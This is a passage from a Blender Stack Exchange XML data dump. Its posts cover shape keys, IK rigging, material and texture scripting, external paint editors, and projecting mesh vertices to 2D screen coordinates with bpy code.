bpy.props.CollectionProperty(type=bpy.types.PropertyGroup)&#xA;    bpy.types.Scene.arma_name = bpy.props.StringProperty()&#xA;    bpy.types.Scene.bone_name = bpy.props.StringProperty()&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorldPanel)&#xA;    del bpy.types.Scene.arma&#xA;    del bpy.types.Scene.bone&#xA;    del bpy.types.Scene.arma_name&#xA;    del bpy.types.Scene.bone_name&#xA;    del bpy.types.Scene.arma_coll&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-28T01:09:11.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19296" PostTypeId="1" AcceptedAnswerId="67588" CreationDate="2014-11-28T01:22:16.303" Score="7" ViewCount="14168" Body="&lt;p&gt;I edited my mesh changing the number of vertices after adding shapekeys, and it get totally messed up when the shapekeys are on.&#xA;Is there a way to solve this problem without remake the shapekeys all again!?&lt;/p&gt;&#xA;" OwnerUserId="8232" LastActivityDate="2020-02-10T15:55:46.913" Title="Can I fix broken shape keys after editing basis?" Tags="&lt;shape-keys&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19297" PostTypeId="2" ParentId="19296" CreationDate="2014-11-28T03:02:05.983" Score="5" Body="&lt;p&gt;Quoting from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys/Editing#Editing_Shape&quot; rel=&quot;nofollow&quot;&gt;Blender wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;If you add a vertex/control point, an edge or a face in one shape, it will automatically appear in all other shapes (at exactly the same place, until you edit it).  &lt;/li&gt;&#xA;  &lt;li&gt;If you delete a vertex/control point, an edge or a face in one shape, it will also be deleted in all other shapes.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;So, if you modify the topology of a shaped object, you’ll have to edit all its shapes again, especially if you add something.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In your case changing the number of vertices, will have broken all of the shape keys with no way but to remake them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit the mesh, just not editing the number of vertices, edges, faces.&lt;br&gt;&#xA;Example moving a ear lobe on a head a little lower will not wreck the shape keys. However if you were to add a loop cut to give the same ear lobe more detail that will wreck the shape keys.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorDisplayName="user1853" LastEditDate="2016-03-02T15:15:51.320" LastActivityDate="2016-03-02T15:15:51.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19298" PostTypeId="2" ParentId="8113" CreationDate="2014-11-28T08:53:45.747" Score="2" Body="&lt;p&gt;I'm working on a project faking the atmospheric disturbances that bother anyone using a telescope.  This is the sort of distortion that adaptive optics systems compensate for.  It is not much different from heat haze.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I accomplished this with a plane placed between the camera and a &quot;far away&quot; starry image on another plane.  I gave the plane a Refraction shader (using Cycles), a small IOR maybe 1.02 or something like that, and a Noise or Wave texture and a Bump node to supply a normal vector to the shader.  I animated this by adding a linear increasing value to the x coordinate of the vector given to the texture. The normal vectors have to be kept close to the usual perpendicular direction - just small wobbles.  At least for my setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are actually four of these wobbled-normal planes.  Two have normals up, and the other two have normals down.  Not sure that's necessary, but I figured it would help make things messier.  The texture animations and texture scales are all different, with all roughly a tenth of a wavelength to one wavelength spanning the view.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/owMT5.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;The bottom layer is an astronomical image - but for a hot desert scene, it could be distant mountains roads and buildings. (There's another layer just above it for another special effect unrelated to this question.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried modulating the IOR value of the Refraction node. If the IOR were to vary spatially or with time, the effect would be similar to varying the amount of wobble of the normal vectors.  Either way, I expect rendering to go much faster than any attempt to do volume interactions of any kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, the wobbling-normal planes are sized to be larger than the camera's field of view.  In case only part of the scene needs the effect, a mask image could be used to switch between the wobbling-normal Refraction shader, and a plain Transparent one.&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2014-11-28T08:53:45.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19299" PostTypeId="1" AcceptedAnswerId="19326" CreationDate="2014-11-28T09:27:15.427" Score="2" ViewCount="5640" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/huyoH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube in top left corner is the default cube with change in view port color. I added checker texture to it using nodes and got it rendered using cycles render. When I exported them to be used via opengl API, the cube in top left corner,i.e. without texture, gets displayed.For any model, the only effect I observed is the change in viewport color in the model, which gets displayed via opengl. Is there a way to use rendered model or models with texture and other details added to it?&#xA;P.S I have Open Asset Import Library to load scene and GLSL for implementing shader source.&lt;/p&gt;&#xA;" OwnerUserId="8233" LastActivityDate="2017-12-09T17:49:05.733" Title="Exporting cycles rendered models to be used in opengl" Tags="&lt;export&gt;&lt;opengl&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19303" PostTypeId="1" AcceptedAnswerId="19587" CreationDate="2014-11-28T11:03:35.953" Score="7" ViewCount="1016" Body="&lt;p&gt;The IK have set up does not follow the target around the Z axis. I am using an Empty as the IK target. You can download the blend &lt;a href=&quot;http://www.pasteall.org/blend/33097&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pu1GP.gif&quot; alt=&quot;OpenGL render of issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BnBr3.png&quot; alt=&quot;Scene view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OQE7l.png&quot; alt=&quot;Outliner&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/b6tk4.png&quot; alt=&quot;IK settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each bone except the bottom one has the following IK constraints;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKvER.png&quot; alt=&quot;IK constraints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the bottom bone;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vBIPF.png&quot; alt=&quot;IK constraints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have I done wrong?&lt;/p&gt;&#xA;" OwnerUserId="7677" LastActivityDate="2014-12-05T14:40:19.497" Title="IK refusing to follow target around Z axis" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19304" PostTypeId="2" ParentId="19289" CreationDate="2014-11-28T11:12:48.240" Score="2" Body="&lt;p&gt;The required pointer property for a color ramp data structure can't be created with Python, it needs to be done in native C code. You can then use Python to create a UI widget and store the data in that property.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-28T11:12:48.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19305" PostTypeId="1" CreationDate="2014-11-28T11:49:06.760" Score="0" ViewCount="380" Body="&lt;p&gt;I currently try to speed up my script by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.copy()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.duplicate(linked=False, mode='DUMMY')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It really is a lot faster, but I don't seem to be able to join the copies without linking them into the scene and calling for a scene update.&#xA;bpy.ops.object.join() doesn't work, I guess because the copies are just data sets flying around in memory and not being linked to the scene.&#xA;Updating the scene and joining afterwards is not an option because it's as slow using the .duplicate() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any option how I could join my copies without updating the scene?&#xA;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2014-11-28T11:49:06.760" Title="Python: join objects without updating scene" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19306" PostTypeId="2" ParentId="19303" CreationDate="2014-11-28T12:23:21.640" Score="4" Body="&lt;p&gt;I deactivated the x-axis limits for the three end bones and the odd error clears up as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2NWCD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lHHRG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I re-enabled the limits but changed the range from -90 to 90 for all 3 bones and tested it with some fairly exaggerated movements of the curve and the animation seems to behave sensibly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AbNjD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t53Rv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-28T12:29:04.340" LastActivityDate="2014-11-28T12:29:04.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19307" PostTypeId="1" CreationDate="2014-11-28T12:54:20.157" Score="3" ViewCount="524" Body="&lt;p&gt;I can obtain the coordinate of a mesh vertex with python via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wco = mesh.vertices[mesh_vert_idx].co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further, it is possible to convert this coordinate system to the camera system with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cco = bpy_extras.object_utils.world_to_camera_view(bpy.context.scene, bpy.data.objects['Camera'], wco)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am interested in the 2D position of the vertex in the image captured by the camera 'Camera'. In other words, is there a python method the projects the 3D point of the model to the 2D point in the image?&lt;/p&gt;&#xA;" OwnerUserId="1455" LastEditorUserId="55" LastEditDate="2015-01-07T11:24:29.717" LastActivityDate="2015-01-07T11:24:29.717" Title="3D Mesh Vertex to 2D Pixel Coordinates" Tags="&lt;python&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ClosedDate="2015-01-07T11:26:30.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="19309" PostTypeId="1" AcceptedAnswerId="19311" CreationDate="2014-11-28T13:30:43.610" Score="2" ViewCount="5214" Body="&lt;p&gt;I have tried to look for myself but have not found the information I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen that one can use the digital painting software &lt;a href=&quot;https://krita.org/&quot; rel=&quot;nofollow&quot;&gt;Krita&lt;/a&gt; in connection with Blender.  But I do not remember how to do so.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="8037" LastEditorUserId="5705" LastEditDate="2014-11-28T21:31:20.537" LastActivityDate="2014-11-28T21:31:20.537" Title="Can Krita and Blender be linked?" Tags="&lt;image&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19310" PostTypeId="1" CreationDate="2014-11-28T14:11:33.523" Score="1" ViewCount="1204" Body="&lt;p&gt;I import a .ply file from MagicaVoxel to Blender, it looks good right now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c87kt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export to .fbx but it has no color data. Then I baked vertex color to texture, but the problem is that after the bake:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Xw44.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the hell are those color margin lines between the grids?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am totally new to blender and have no idea how to fix this, I just do the steps following online toturial:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a material, check &quot;Vertex Color Paint&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select all in &quot;Edit Mode&quot; and click &quot;Smart UV Project&quot;&lt;/li&gt;&#xA;&lt;li&gt;Add UV image, size default 1024 * 1024&lt;/li&gt;&#xA;&lt;li&gt;Bake Mode: &quot;Texture&quot; and start to bake, then the result goes wrong.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Anybody has any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the .ply model from MagicaVoxel, it's free and looks great.&lt;/p&gt;&#xA;" OwnerUserId="8236" LastEditorUserId="8236" LastEditDate="2014-11-28T14:37:13.657" LastActivityDate="2015-08-05T22:55:51.467" Title="Vertex color bake to texture causes wrong color margin" Tags="&lt;texture-baking&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19311" PostTypeId="2" ParentId="19309" CreationDate="2014-11-28T14:13:56.453" Score="3" Body="&lt;p&gt;I couldn't find anything to do with Krita, but I do &lt;a href=&quot;http://www.blendernation.com/2012/09/18/blender-gimp-autorefresh/&quot; rel=&quot;nofollow&quot;&gt;remember&lt;/a&gt; a synchronisation addon for blender that would allow painting in &lt;em&gt;&lt;a href=&quot;http://www.gimp.org/&quot; rel=&quot;nofollow&quot;&gt;Gimp&lt;/a&gt;&lt;/em&gt; and seeing the texture automatically update in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Ys1YGJk45RI&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a video of the addon, called 'External Paint Autorefresh' (Previously called 'Blender-GIMP Autorefresh'), in action and &lt;a href=&quot;https://sites.google.com/site/pointatstuffweb/external-paint-autorefresh&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is the site for the addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site lists the features as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;One-sided modes. Hit a shortcut in your image editor to make the    texture update in Blender. Hit a shortcut in Blender to make the&lt;br&gt;&#xA;  texture update in your image editor.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Two-sided mode. Work in your image editor while the texture updates    by itself in Blender, or switch to working in Blender while the&lt;br&gt;&#xA;  texture updates by itself in your image editor. The updates happen&lt;br&gt;&#xA;  only when you are actively tweaking the image, and at a frequency&lt;br&gt;&#xA;  that you set.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-11-28T14:19:52.480" LastActivityDate="2014-11-28T14:19:52.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19312" PostTypeId="2" ParentId="13742" CreationDate="2014-11-28T15:06:27.500" Score="0" Body="&lt;p&gt;It's much easier to modify the upper version afterwards than the lower one. the lower one would be totally messed up if you'd change anything in the mesh. I'd recomment to find something in between.&lt;/p&gt;&#xA;I would propably use quads instead of triangles below the stairs in the upper example.&#xA;" OwnerUserId="8228" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-28T15:06:27.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19313" PostTypeId="1" CreationDate="2014-11-28T15:28:38.437" Score="8" ViewCount="34822" Body="&lt;p&gt;This is a character that I made in Blender with multiple objects &#xA;&lt;img src=&quot;https://i.stack.imgur.com/YdzdU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added an armature fist, and joined the object and test, it didn't work. Then I linked parent but that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do now; I only know how to make models with multiples objects not with modelling. &lt;img src=&quot;https://i.stack.imgur.com/GP1JV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7892" LastEditorUserId="6385" LastEditDate="2014-11-28T19:32:40.033" LastActivityDate="2017-11-06T17:38:11.880" Title="character made with multiple objects one armature or different armatures" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19314" PostTypeId="1" CreationDate="2014-11-28T15:38:16.480" Score="0" ViewCount="622" Body="&lt;p&gt;I have two rigid bodies linked together with a constraint. The problem is I need to animate the second rigid body at one point in the simulation. But as soon as I turn on &quot;animate&quot; in the rigid body settings, it seems like the object is no longer reacting to physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is this:&#xA;Is there a way to drive rigid bodies that have constraints with animation keyframes, while they also participate in the physics simulation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an animated gif to illustrate:&#xA;&lt;img src=&quot;https://i.imgur.com/vPEBQRw.gif&quot; alt=&quot;constraint stops working&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2014-11-30T05:20:51.857" Title="Rigid body constraints and animation" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19315" PostTypeId="2" ParentId="19309" CreationDate="2014-11-28T15:56:38.653" Score="10" Body="&lt;p&gt;You could set the path to Krita or any other external image procesing application in Blender's User Preferences accessible from the file menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GhnEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the image editor you can launch Krita with the image loaded by chosing &lt;em&gt;Edit Externally&lt;/em&gt;. When returned to Blender refresh the image with &lt;em&gt;Reload Image&lt;/em&gt; or &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqMKK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-28T15:56:38.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19316" PostTypeId="2" ParentId="19313" CreationDate="2014-11-28T17:21:21.820" Score="15" Body="&lt;p&gt;One way to fix this is to select the object, for example, the arm, and then select the armature. Be sure you take the armature into edit mode and select only the bones you want to have effect on the arm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this is completed, parent the object to the selected bones using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;strong&gt;With automatic weights&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do this same thing for the rest of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; Here is a step-by-step for applying an armature to separate objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Select the piece you want to be the child of the armature by &lt;em&gt;right clicking&lt;/em&gt; on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RJPcD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Select the armature, also by holding &lt;kbd&gt;Shift&lt;/kbd&gt; and &lt;em&gt;right clicking&lt;/em&gt; on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9UIul.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; In the bottom left of the 3D viewport, switch to &lt;em&gt;pose mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXjEg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; right click on the bone(s) you want to be the parent of your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AqhwS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; Press &lt;kbd&gt;Ctr&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt;, then select &quot;with automatic weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pxb1I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that bone is now applied to the object, repeat this method for the rest of the model.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2014-12-01T17:37:06.583" LastActivityDate="2014-12-01T17:37:06.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19317" PostTypeId="1" AcceptedAnswerId="19323" CreationDate="2014-11-28T18:27:24.310" Score="3" ViewCount="815" Body="&lt;p&gt;Trying to make a thatched material (for my lamp shade). Like a rattan type look. Can't figure this one out for the life of me. Here's an example: &lt;a href=&quot;http://thumbs.dreamstime.com/t/rattan-texture-5839027.jpg&quot; rel=&quot;nofollow&quot;&gt;http://thumbs.dreamstime.com/t/rattan-texture-5839027.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you make something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8041" LastEditorUserId="241" LastEditDate="2014-11-28T19:32:18.073" LastActivityDate="2014-11-29T00:07:08.607" Title="Creating A Thatched/Rattan Material?" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19318" PostTypeId="2" ParentId="882" CreationDate="2014-11-28T18:32:35.350" Score="7" Body="&lt;p&gt;Followed the instructions from this site: &lt;a href=&quot;http://www.songho.ca/opengl/gl_projectionmatrix.html&quot; rel=&quot;noreferrer&quot;&gt;songho.ca/opengl/gl_projectionmatrix&lt;/a&gt; &lt;br&gt;&#xA;There is also a &lt;a href=&quot;https://www.udacity.com/course/viewer#!/c-cs291/l-158750187/m-169414759&quot; rel=&quot;noreferrer&quot;&gt;course&lt;/a&gt; available at udacity which provides further informations. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYlZ8.png&quot; alt=&quot;viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import tan&#xA;from mathutils import Matrix&#xA;&#xA;print(79*'-' + 3*'\n')&#xA;&#xA;cam = bpy.data.objects['Camera']&#xA;obj = bpy.data.objects['Cube']&#xA;scene = bpy.context.scene&#xA;mesh = obj.data&#xA;model_view = (&#xA;    cam.matrix_world.inverted() * &#xA;    obj.matrix_world&#xA;    )&#xA;&#xA;width =  scene.render.resolution_x &#xA;height = scene.render.resolution_y&#xA;aspect_ratio = width / height&#xA;&#xA;n = cam.data.clip_start&#xA;f = cam.data.clip_end&#xA;fov = cam.data.angle&#xA;&#xA;proj = Matrix()&#xA;proj[0][0] =            1 / tan(fov / 2)&#xA;proj[1][1] = aspect_ratio / tan(fov / 2)&#xA;proj[2][2] = -(f + n) / (f - n)&#xA;proj[2][3] = - 2*f*n  / (f - n)&#xA;proj[3][2] = - 1&#xA;proj[3][3] =   0&#xA;&#xA;clip = proj * model_view&#xA;&#xA;for v in mesh.vertices:&#xA;    v_4d = v.co.copy()&#xA;    v_4d.resize_4d()&#xA;&#xA;    v_clip  = clip * v_4d&#xA;    v_clip /= v_clip[3]&#xA;    v.co = v_clip.resized(3)&#xA;&#xA;    scrn_co_x = (v.co.x + 1) / 2 * width&#xA;    scrn_co_y = (v.co.y + 1) / 2 * height&#xA;    print(&quot;screen: %.2f, %.2f&quot; % (scrn_co_x, scrn_co_y))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-11-29T17:22:28.990" LastActivityDate="2014-11-29T17:22:28.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19319" PostTypeId="1" CreationDate="2014-11-28T19:23:10.970" Score="1" ViewCount="503" Body="&lt;p&gt;I have a  blender object , a chair specifically. Below is the image of the chair - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/31Ttb.jpg&quot; alt=&quot;A rendered chair&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I use the following script to change the texture of one of the component - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def createMaterial(material):&#xA;    tex = bpy.data.textures.new('ColorTex', type = 'IMAGE')&#xA;    tex.image = bpy.data.images.load(realpath_of_image)&#xA;    tex.use_alpha = True&#xA;    # Create shadeless material and MTex&#xA;    mat = bpy.data.materials.new('TexMat')&#xA;    mat.use_shadeless = True&#xA;    mtex = mat.texture_slots.add()&#xA;    mtex.texture = tex&#xA;    mtex.texture_coords = 'UV'&#xA;    mtex.use_map_color_diffuse = True &#xA;    return mat&#xA;&#xA;def make_chnges(components, randomno):&#xA;    ob = bpy.data.objects[0]&#xA;    mat = createMaterial(material)&#xA;    ob.data.materials.append(mat)&#xA;    ob.active_material = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the output image that I get is -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0R3dQ.jpg&quot; alt=&quot;output image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the rendered texture looks like a flat surface. What changes should be there to show up a similar surface? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the blender screenshot of what I see when I add a new material to the polygon.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G2o3L.png&quot; alt=&quot;object screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the object component looks allright(doesnt look like a flat surface), except that the new material doesnt show up. Just the white color is seen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material I am applying is - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/J0aEL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5473" LastEditorUserId="5473" LastEditDate="2014-11-29T07:00:13.717" LastActivityDate="2014-12-02T18:25:44.690" Title="Correctly applying new materials to the object" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19320" PostTypeId="1" CreationDate="2014-11-28T22:34:47.120" Score="6" ViewCount="33679" Body="&lt;p&gt;I thought that I was able to use my mouse to navigate in the viewport before. I can only seem to rotate the project view via the numpad keys. I have tried to Google for my problem but can not seem to find any answers.&lt;/p&gt;&#xA;" OwnerUserId="8240" LastEditorUserId="1245" LastEditDate="2015-08-22T16:36:48.383" LastActivityDate="2021-02-11T05:59:38.127" Title="Can't move in the 3D view with mouse" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
